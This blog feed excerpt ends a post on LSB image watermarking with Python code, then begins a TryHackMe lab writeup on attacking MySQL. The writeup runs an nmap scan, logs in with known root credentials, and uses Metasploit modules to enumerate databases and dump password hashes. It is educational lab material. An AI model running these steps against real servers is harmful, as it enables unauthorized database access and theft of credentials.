</span></span><span class="line"><span class="ln">10</span><span class="cl">        <span class="n">flat</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">=</span> <span class="p">(</span><span class="n">flat</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="o">&amp;</span> <span class="o">~</span><span class="mi">1</span><span class="p">)</span> <span class="o">|</span> <span class="nb">int</span><span class="p">(</span><span class="n">bits</span><span class="p">[</span><span class="n">i</span><span class="p">])</span>  <span class="c1"># Set LSB</span>
</span></span><span class="line"><span class="ln">11</span><span class="cl">
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">watermarked</span> <span class="o">=</span> <span class="n">flat</span><span class="o">.</span><span class="n">reshape</span><span class="p">(</span><span class="n">image</span><span class="o">.</span><span class="n">shape</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="n">cv2</span><span class="o">.</span><span class="n">imwrite</span><span class="p">(</span><span class="n">output_path</span><span class="p">,</span> <span class="n">watermarked</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl"><span class="k">def</span> <span class="nf">extract_lsb</span><span class="p">(</span><span class="n">image_path</span><span class="p">):</span>
</span></span><span class="line"><span class="ln">16</span><span class="cl">    <span class="c1"># Load image and flatten to 1D array</span>
</span></span><span class="line"><span class="ln">17</span><span class="cl">    <span class="n">image</span> <span class="o">=</span> <span class="n">cv2</span><span class="o">.</span><span class="n">imread</span><span class="p">(</span><span class="n">image_path</span><span class="p">)</span><span class="o">.</span><span class="n">flatten</span><span class="p">()</span>
</span></span><span class="line"><span class="ln">18</span><span class="cl">    <span class="n">bits</span> <span class="o">=</span> <span class="s2">&#34;&#34;</span>
</span></span><span class="line"><span class="ln">19</span><span class="cl">    <span class="k">for</span> <span class="n">byte</span> <span class="ow">in</span> <span class="n">image</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">20</span><span class="cl">        <span class="n">bits</span> <span class="o">+=</span> <span class="nb">str</span><span class="p">(</span><span class="n">byte</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span>  <span class="c1"># Get LSB</span>
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">        <span class="c1"># Check every 8 bits for null terminator</span>
</span></span><span class="line"><span class="ln">23</span><span class="cl">        <span class="k">if</span> <span class="nb">len</span><span class="p">(</span><span class="n">bits</span><span class="p">)</span> <span class="o">%</span> <span class="mi">8</span> <span class="o">==</span> <span class="mi">0</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">24</span><span class="cl">            <span class="n">char</span> <span class="o">=</span> <span class="nb">chr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">bits</span><span class="p">[</span><span class="o">-</span><span class="mi">8</span><span class="p">:],</span> <span class="mi">2</span><span class="p">))</span>
</span></span><span class="line"><span class="ln">25</span><span class="cl">            <span class="k">if</span> <span class="n">char</span> <span class="o">==</span> <span class="s1">&#39;</span><span class="se">\x00</span><span class="s1">&#39;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">26</span><span class="cl">                <span class="k">break</span>
</span></span><span class="line"><span class="ln">27</span><span class="cl">
</span></span><span class="line"><span class="ln">28</span><span class="cl">    <span class="c1"># Convert full bitstring to characters (excluding null terminator)</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">    <span class="n">message</span> <span class="o">=</span> <span class="s1">&#39;&#39;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">        <span class="nb">chr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">bits</span><span class="p">[</span><span class="n">i</span><span class="p">:</span><span class="n">i</span><span class="o">+</span><span class="mi">8</span><span class="p">],</span> <span class="mi">2</span><span class="p">))</span> <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">0</span><span class="p">,</span> <span class="nb">len</span><span class="p">(</span><span class="n">bits</span><span class="p">)</span><span class="o">-</span><span class="mi">8</span><span class="p">,</span> <span class="mi">8</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">31</span><span class="cl">    <span class="p">)</span>
</span></span><span class="line"><span class="ln">32</span><span class="cl">    <span class="k">return</span> <span class="n">message</span>
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl">    <span class="c1"># Example usage</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    <span class="n">embed_lsb</span><span class="p">(</span><span class="s2">&#34;image.png&#34;</span><span class="p">,</span> <span class="s2">&#34;Secret Watermark&#34;</span><span class="p">,</span> <span class="s2">&#34;output.png&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl">
</span></span><span class="line"><span class="ln">39</span><span class="cl">    <span class="n">message</span> <span class="o">=</span> <span class="n">extract_lsb</span><span class="p">(</span><span class="s2">&#34;image.png&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Extracted message:&#34;</span><span class="p">,</span> <span class="n">message</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl">
</span></span><span class="line"><span class="ln">42</span><span class="cl">    <span class="n">message</span> <span class="o">=</span> <span class="n">extract_lsb</span><span class="p">(</span><span class="s2">&#34;output.png&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">43</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Extracted message:&#34;</span><span class="p">,</span> <span class="n">message</span><span class="p">)</span></span></span></code></pre></div>
<p>The <code>embed_lsb</code> function will take an image, a message, and an output path to save the watermarked image. The <code>extract_lsb</code> function will read the watermarked image and extract the hidden message. There are simpler was of doing this such as using a dedicated steganography library like <code>stegano</code>, but this example shows how you can implement it from scratch.</p>
<h4 id="stegano-code-example">Stegano Code Example</h4>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-python" data-lang="python"><span class="line"><span class="ln"> 1</span><span class="cl"><span class="kn">from</span> <span class="nn">stegano</span> <span class="kn">import</span> <span class="n">lsb</span>
</span></span><span class="line"><span class="ln"> 2</span><span class="cl"><span class="k">def</span> <span class="nf">embed_message</span><span class="p">(</span><span class="n">image_path</span><span class="p">,</span> <span class="n">message</span><span class="p">,</span> <span class="n">output_path</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">    <span class="c1"># Embed the message in the image</span>
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">    <span class="n">watermarked_image</span> <span class="o">=</span> <span class="n">lsb</span><span class="o">.</span><span class="n">hide</span><span class="p">(</span><span class="n">image_path</span><span class="p">,</span> <span class="n">message</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">    <span class="n">watermarked_image</span><span class="o">.</span><span class="n">save</span><span class="p">(</span><span class="n">output_path</span><span class="p">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl"><span class="k">def</span> <span class="nf">extract_message</span><span class="p">(</span><span class="n">image_path</span><span class="p">):</span>
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">    <span class="c1"># Extract the message from the image</span>
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">    <span class="k">return</span> <span class="n">lsb</span><span class="o">.</span><span class="n">reveal</span><span class="p">(</span><span class="n">image_path</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl"><span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">&#34;__main__&#34;</span><span class="p">:</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">    <span class="n">embed_message</span><span class="p">(</span><span class="s2">&#34;image.png&#34;</span><span class="p">,</span> <span class="s2">&#34;Secret Watermark&#34;</span><span class="p">,</span> <span class="s2">&#34;watermarked_image.png&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">13</span><span class="cl">    <span class="n">message</span> <span class="o">=</span> <span class="n">extract_message</span><span class="p">(</span><span class="s2">&#34;watermarked_image.png&#34;</span><span class="p">)</span>
</span></span><span class="line"><span class="ln">14</span><span class="cl">    <span class="nb">print</span><span class="p">(</span><span class="s2">&#34;Extracted message:&#34;</span><span class="p">,</span> <span class="n">message</span><span class="p">)</span></span></span></code></pre></div>
<p>This is a much simpler way to achieve the same result and it abstracts away the details of how the LSB is manipulated. The <code>stegano</code> library handles the encoding and decoding of messages in images, making it easier to implement watermarking without needing to understand the underlying pixel manipulation. There are also other modules within stegano that allow for more complex watermarking techniques, such as using different color channels or even embedding multiple messages.</p>
<h3 id="watermarking-example">Watermarking Example</h3>








<div style="
  display: grid;
  grid-template-columns: repeat(auto-fit, minmax(180px, 1fr));
  gap: 1.5rem;
  align-items: start;
">
 


<div><img src="portrait.png" 
		 class="img-preset img-preset-md img-fluid">

	<figcaption style="margin:0px;" class="figure-caption">
		Original Image
	</figcaption>
</div>



<div><img src="watermarked_portrait.png" 
		 class="img-preset img-preset-md img-fluid">

	<figcaption style="margin:0px;" class="figure-caption">
		Watermarked Image
	</figcaption>
</div>



</div>

<h3 id="reading-the-watermark">Reading the Watermark</h3>
<p>To read the watermark from an image, you can reverse the process by extracting the pixel values or frequency coefficients where the watermark was embedded. This can be done using similar libraries and techniques as mentioned above.</p>
<h4 id="using-the-extract_lsb-function">Using the <code>extract_lsb</code> function</h4>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition success">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 512 512"><path d="M256 512A256 256 0 1 0 256 0a256 256 0 1 0 0 512zM369 209L241 337c-9.4 9.4-24.6 9.4-33.9 0l-64-64c-9.4-9.4-9.4-24.6 0-33.9s24.6-9.4 33.9 0l47 47L335 175c9.4-9.4 24.6-9.4 33.9 0s9.4 24.6 0 33.9z"/></svg>
      <span>Results</span>
    </div>
      <div class="admonition-content">
        <p><strong>Original Image Text:</strong><br>
ÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿÿ</p>
<p><strong>Watermarked Image Text:</strong><br>
Secret Watermark</p>
      </div>
  </div>]]></content:encoded></item><item><title>TryHackMe - SQL</title><link>https://michaelmuratov.com/blog/artifacts/guides/thm-sql-room/</link><pubDate>Sun, 20 Oct 2024 00:00:00 +0000</pubDate><guid>https://michaelmuratov.com/blog/artifacts/guides/thm-sql-room/</guid><description>&lt;p&gt;This is a &lt;code&gt;TryHackMe Room Writeup&lt;/code&gt;&lt;/p&gt;
&lt;link href="https://michaelmuratov.com/css/admonitions.min.css" rel="stylesheet" /&gt;
&lt;div class="admonition note"&gt;
&lt;div class="admonition-header"&gt;
&lt;svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"&gt;&lt;path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/&gt;&lt;/svg&gt;
&lt;span&gt;Reference&lt;/span&gt;
&lt;/div&gt;
&lt;div class="admonition-content"&gt;
&lt;p&gt;&lt;a href="https://tryhackme.com/r/room/networkservices2"&gt;💻 TryHackMe Network Services Room&lt;/a&gt;&lt;/p&gt;</description><content:encoded><![CDATA[<p>This is a <code>TryHackMe Room Writeup</code></p>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition note">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 576 512"><path d="M0 64C0 28.7 28.7 0 64 0L224 0l0 128c0 17.7 14.3 32 32 32l128 0 0 125.7-86.8 86.8c-10.3 10.3-17.5 23.1-21 37.2l-18.7 74.9c-2.3 9.2-1.8 18.8 1.3 27.5L64 512c-35.3 0-64-28.7-64-64L0 64zm384 64l-128 0L256 0 384 128zM549.8 235.7l14.4 14.4c15.6 15.6 15.6 40.9 0 56.6l-29.4 29.4-71-71 29.4-29.4c15.6-15.6 40.9-15.6 56.6 0zM311.9 417L441.1 287.8l71 71L382.9 487.9c-4.1 4.1-9.2 7-14.9 8.4l-60.1 15c-5.5 1.4-11.2-.2-15.2-4.2s-5.6-9.7-4.2-15.2l15-60.1c1.4-5.6 4.3-10.8 8.4-14.9z"/></svg>
      <span>Reference</span>
    </div>
      <div class="admonition-content">
        <p><a href="https://tryhackme.com/r/room/networkservices2">💻 TryHackMe Network Services Room</a></p>
      </div>
  </div><h3 id="initial-reconnaissance">Initial Reconnaissance</h3>
<p>The first step in exploiting a MySQL database is identifying whether the target machine has an exposed MySQL port. By default, MySQL runs on port 3306, but this can be customized by the system administrator, so it&rsquo;s important to scan for common open ports. Typically you can attempt to connect to the MySQL server using common credentials or perform a brute force attack if no rate-limiting is in place.</p>
<p>Example Nmap Scan: <em>(NFS Scan highlighted)</em></p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">root@ip-10-10-22-136:~# <span class="nv">IP</span><span class="o">=</span>10.10.190.97
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">root@ip-10-10-22-136:~# nmap -sS -T4 -F -oN output.txt <span class="nv">$IP</span>
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">Starting Nmap 7.60 <span class="o">(</span> https://nmap.org <span class="o">)</span> at 2024-10-06 02:34 BST
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">Nmap scan report <span class="k">for</span> ip-10-10-244-95.eu-west-1.compute.internal <span class="o">(</span>10.10.244.95<span class="o">)</span>
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">Host is up <span class="o">(</span>0.0012s latency<span class="o">)</span>.
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">Not shown: <span class="m">998</span> closed ports
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">PORT     STATE SERVICE
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">22/tcp   open  ssh
</span></span><span class="line"><span class="ln">10</span><span class="cl">3306/tcp open  mysql
</span></span><span class="line"><span class="ln">11</span><span class="cl">MAC Address: 02:59:70:A7:8E:95 <span class="o">(</span>Unknown<span class="o">)</span>
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">Nmap <span class="k">done</span>: <span class="m">1</span> IP address <span class="o">(</span><span class="m">1</span> host up<span class="o">)</span> scanned in 1.67 seconds</span></span></code></pre></div>


<link href="/css/admonitions.min.css" rel="stylesheet" />
  <div class="admonition code">
    <div class="admonition-header">
      <svg xmlns="http://www.w3.org/2000/svg" viewBox="0 0 640 512"><path d="M392.8 1.2c-17-4.9-34.7 5-39.6 22l-128 448c-4.9 17 5 34.7 22 39.6s34.7-5 39.6-22l128-448c4.9-17-5-34.7-22-39.6zm80.6 120.1c-12.5 12.5-12.5 32.8 0 45.3L562.7 256l-89.4 89.4c-12.5 12.5-12.5 32.8 0 45.3s32.8 12.5 45.3 0l112-112c12.5-12.5 12.5-32.8 0-45.3l-112-112c-12.5-12.5-32.8-12.5-45.3 0zm-306.7 0c-12.5-12.5-32.8-12.5-45.3 0l-112 112c-12.5 12.5-12.5 32.8 0 45.3l112 112c12.5 12.5 32.8 12.5 45.3 0s12.5-32.8 0-45.3L77.3 256l89.4-89.4c12.5-12.5 12.5-32.8 0-45.3z"/></svg>
      <span>Code</span>
    </div>
      <div class="admonition-content">
        <p>The call above uses the flag <strong>-sS</strong> to perform a stealthy SYN scan, which is faster and less detectable than a full connection scan. The <strong>-T4</strong> flag sets the timing template to be faster than the default, balancing speed and accuracy. The <strong>-F</strong> flag specifies a fast scan that targets the top 100 most common ports. The <strong>-oN output.txt</strong> flag saves the scan results in a normal format to a file named <strong>output.txt</strong>. Finally, <strong>$IP</strong> specifies the target IP address for the scan.</p>
      </div>
  </div><h4 id="using-stolen-credentials">Using stolen credentials</h4>
<p>For this box we already know the credentials of the MySQL server <code>username: root</code> and <code>password:password</code> obtained previously and we&rsquo;ll be using this to gain further access on the server. Once connected and authenticated using the credentials we can enumerate the database to gather more information about the system.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln">1</span><span class="cl">root@ip-10-10-22-136:~# <span class="nv">username</span><span class="o">=</span>root
</span></span><span class="line"><span class="ln">2</span><span class="cl">root@ip-10-10-22-136:~#  mysql -h <span class="nv">$IP</span> -u <span class="nv">$username</span> -p
</span></span><span class="line"><span class="ln">3</span><span class="cl">Enter password: password</span></span></code></pre></div>
<h3 id="enumeration">Enumeration</h3>
<p>We&rsquo;ll be using modules from Metasploit to extract information from the database. First thing we&rsquo;ll do is submit an authenticated request to show the databases present on the MySQL server. We can do this by setting the <code>RHOSTS, USERNAME, PASSWORD</code> to the ip and credentials of the server and by initiating the SQL <code>show databases</code> query command.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msfconsole
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 &gt; use auxiliary/admin/mysql/mysql_sql
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.244.95
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; <span class="nb">set</span> USERNAME root
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; <span class="nb">set</span> PASSWORD password
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; <span class="nb">set</span> SQL show databases
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; options
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">Module options <span class="o">(</span>auxiliary/admin/mysql/mysql_sql<span class="o">)</span>:
</span></span><span class="line"><span class="ln">10</span><span class="cl">
</span></span><span class="line"><span class="ln">11</span><span class="cl">   Name  Current Setting  Required  Description
</span></span><span class="line"><span class="ln">12</span><span class="cl">   ----  ---------------  --------  -----------
</span></span><span class="line"><span class="ln">13</span><span class="cl">   SQL   show databases   yes       The SQL to execute.
</span></span><span class="line"><span class="ln">14</span><span class="cl">
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">   Used when connecting via an existing SESSION:
</span></span><span class="line"><span class="ln">17</span><span class="cl">
</span></span><span class="line"><span class="ln">18</span><span class="cl">   Name     Current Setting  Required  Description
</span></span><span class="line"><span class="ln">19</span><span class="cl">   ----     ---------------  --------  -----------
</span></span><span class="line"><span class="ln">20</span><span class="cl">   SESSION                   no        The session to run this module on
</span></span><span class="line"><span class="ln">21</span><span class="cl">
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl">   Used when making a new connection via RHOSTS:
</span></span><span class="line"><span class="ln">24</span><span class="cl">
</span></span><span class="line"><span class="ln">25</span><span class="cl">   Name      Current Setting  Required  Description
</span></span><span class="line"><span class="ln">26</span><span class="cl">   ----      ---------------  --------  -----------
</span></span><span class="line"><span class="ln">27</span><span class="cl">   PASSWORD  password         no        The password <span class="k">for</span> the specified username
</span></span><span class="line"><span class="ln">28</span><span class="cl">   RHOSTS    10.10.244.95     no        The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
</span></span><span class="line"><span class="ln">29</span><span class="cl">   RPORT     <span class="m">3306</span>             no        The target port <span class="o">(</span>TCP<span class="o">)</span>
</span></span><span class="line"><span class="ln">30</span><span class="cl">   USERNAME  root             no        The username to authenticate as
</span></span><span class="line"><span class="ln">31</span><span class="cl">
</span></span><span class="line"><span class="ln">32</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_sql<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">33</span><span class="cl">
</span></span><span class="line"><span class="ln">34</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Running module against 10.10.244.95
</span></span><span class="line"><span class="ln">35</span><span class="cl">
</span></span><span class="line"><span class="ln">36</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 - Sending statement: <span class="s1">&#39;show databases&#39;</span>...
</span></span><span class="line"><span class="ln">37</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 -  <span class="p">|</span> information_schema <span class="p">|</span>
</span></span><span class="line"><span class="ln">38</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 -  <span class="p">|</span> mysql <span class="p">|</span>
</span></span><span class="line"><span class="ln">39</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 -  <span class="p">|</span> performance_schema <span class="p">|</span>
</span></span><span class="line"><span class="ln">40</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 -  <span class="p">|</span> sys <span class="p">|</span>
</span></span><span class="line"><span class="ln">41</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h4 id="reading-mysql-database">Reading MySQL Database</h4>
<p>We can further analyze the structure of the MySQL database by dumping the schema of all tables using the Metasploit module <code>mysql_schemadump</code>. This module allows us to retrieve the database schema, which includes detailed information about the structure of the databases, tables, columns, data types, and relationships between different tables within the MySQL server. This information can be critical for targeted exploitation. For example, knowing the names and structures of the tables enables us to focus on tables that likely contain sensitive information, such as <code>users, passwords, sessions, or admin</code>.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msf6 &gt; use auxiliary/admin/mysql/mysql_schemadump
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.244.95
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; <span class="nb">set</span> USERNAME root
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; <span class="nb">set</span> PASSWORD password
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; options
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">Module options <span class="o">(</span>auxiliary/scanner/mysql/mysql_schemadump<span class="o">)</span>:
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">   Name             Current Setting  Required  Description
</span></span><span class="line"><span class="ln">10</span><span class="cl">   ----             ---------------  --------  -----------
</span></span><span class="line"><span class="ln">11</span><span class="cl">   DISPLAY_RESULTS  <span class="nb">true</span>             yes       Display the Results to the Screen
</span></span><span class="line"><span class="ln">12</span><span class="cl">
</span></span><span class="line"><span class="ln">13</span><span class="cl">
</span></span><span class="line"><span class="ln">14</span><span class="cl">   Used when connecting via an existing SESSION:
</span></span><span class="line"><span class="ln">15</span><span class="cl">
</span></span><span class="line"><span class="ln">16</span><span class="cl">   Name     Current Setting  Required  Description
</span></span><span class="line"><span class="ln">17</span><span class="cl">   ----     ---------------  --------  -----------
</span></span><span class="line"><span class="ln">18</span><span class="cl">   SESSION                   no        The session to run this module on
</span></span><span class="line"><span class="ln">19</span><span class="cl">
</span></span><span class="line"><span class="ln">20</span><span class="cl">
</span></span><span class="line"><span class="ln">21</span><span class="cl">   Used when making a new connection via RHOSTS:
</span></span><span class="line"><span class="ln">22</span><span class="cl">
</span></span><span class="line"><span class="ln">23</span><span class="cl">   Name      Current Setting  Required  Description
</span></span><span class="line"><span class="ln">24</span><span class="cl">   ----      ---------------  --------  -----------
</span></span><span class="line"><span class="ln">25</span><span class="cl">   PASSWORD  password         no        The password <span class="k">for</span> the specified username
</span></span><span class="line"><span class="ln">26</span><span class="cl">   RHOSTS    10.10.244.95     no        The target host<span class="o">(</span>s<span class="o">)</span>, see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
</span></span><span class="line"><span class="ln">27</span><span class="cl">   RPORT     <span class="m">3306</span>             no        The target port <span class="o">(</span>TCP<span class="o">)</span>
</span></span><span class="line"><span class="ln">28</span><span class="cl">   THREADS   <span class="m">1</span>                yes       The number of concurrent threads <span class="o">(</span>maxone per host<span class="o">)</span>
</span></span><span class="line"><span class="ln">29</span><span class="cl">   USERNAME  root             no        The username to authenticate as
</span></span><span class="line"><span class="ln">30</span><span class="cl">
</span></span><span class="line"><span class="ln">31</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_schemadump<span class="o">)</span> &gt; run
</span></span><span class="line"><span class="ln">32</span><span class="cl">
</span></span><span class="line"><span class="ln">33</span><span class="cl">- TableName: x<span class="nv">$waits_global_by_latency</span>
</span></span><span class="line"><span class="ln">34</span><span class="cl">    Columns:
</span></span><span class="line"><span class="ln">35</span><span class="cl">    - ColumnName: events
</span></span><span class="line"><span class="ln">36</span><span class="cl">      ColumnType: varchar<span class="o">(</span>128<span class="o">)</span>
</span></span><span class="line"><span class="ln">37</span><span class="cl">    - ColumnName: total
</span></span><span class="line"><span class="ln">38</span><span class="cl">      ColumnType: bigint<span class="o">(</span>20<span class="o">)</span> unsigned
</span></span><span class="line"><span class="ln">39</span><span class="cl">    - ColumnName: total_latency
</span></span><span class="line"><span class="ln">40</span><span class="cl">      ColumnType: bigint<span class="o">(</span>20<span class="o">)</span> unsigned
</span></span><span class="line"><span class="ln">41</span><span class="cl">    - ColumnName: avg_latency
</span></span><span class="line"><span class="ln">42</span><span class="cl">      ColumnType: bigint<span class="o">(</span>20<span class="o">)</span> unsigned
</span></span><span class="line"><span class="ln">43</span><span class="cl">    - ColumnName: max_latency
</span></span><span class="line"><span class="ln">44</span><span class="cl">      ColumnType: bigint<span class="o">(</span>20<span class="o">)</span> unsigned
</span></span><span class="line"><span class="ln">45</span><span class="cl">
</span></span><span class="line"><span class="ln">46</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> 10.10.244.95:3306 - Scanned <span class="m">1</span> of <span class="m">1</span> hosts <span class="o">(</span>100% <span class="nb">complete</span><span class="o">)</span>
</span></span><span class="line"><span class="ln">47</span><span class="cl"><span class="o">[</span>*<span class="o">]</span> Auxiliary module execution completed</span></span></code></pre></div>
<h4 id="mysql-hashdump">MySQL Hashdump</h4>
<p>We will also use the <code>mysql_hashdump</code> module which is a powerful tool used to extract password hashes from a MySQL server, which can then be leveraged for further attacks. By using this module, attackers can retrieve hashed password values stored within the MySQL user table, typically located in the user table. In this case we were able to identify the entry <code>carl</code> with its corresponding password hash.</p>






<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-bash" data-lang="bash"><span class="line"><span class="ln"> 1</span><span class="cl">msf6 &gt; auxiliary/scanner/mysql/mysql_hashdump
</span></span><span class="line"><span class="ln"> 2</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; <span class="nb">set</span> RHOSTS 10.10.244.95
</span></span><span class="line"><span class="ln"> 3</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; <span class="nb">set</span> USERNAME root
</span></span><span class="line"><span class="ln"> 4</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; <span class="nb">set</span> PASSWORD password
</span></span><span class="line"><span class="ln"> 5</span><span class="cl">msf6 auxiliary<span class="o">(</span>admin/mysql/mysql_hashdump<span class="o">)</span> &gt; options
</span></span><span class="line"><span class="ln"> 6</span><span class="cl">
</span></span><span class="line"><span class="ln"> 7</span><span class="cl">Module options <span class="o">(</span>auxiliary/scanner/mysql/mysql_hashdump<span class="o">)</span>:
</span></span><span class="line"><span class="ln"> 8</span><span class="cl">
</span></span><span class="line"><span class="ln"> 9</span><span class="cl">   Used when connecting via an existing SESSION:
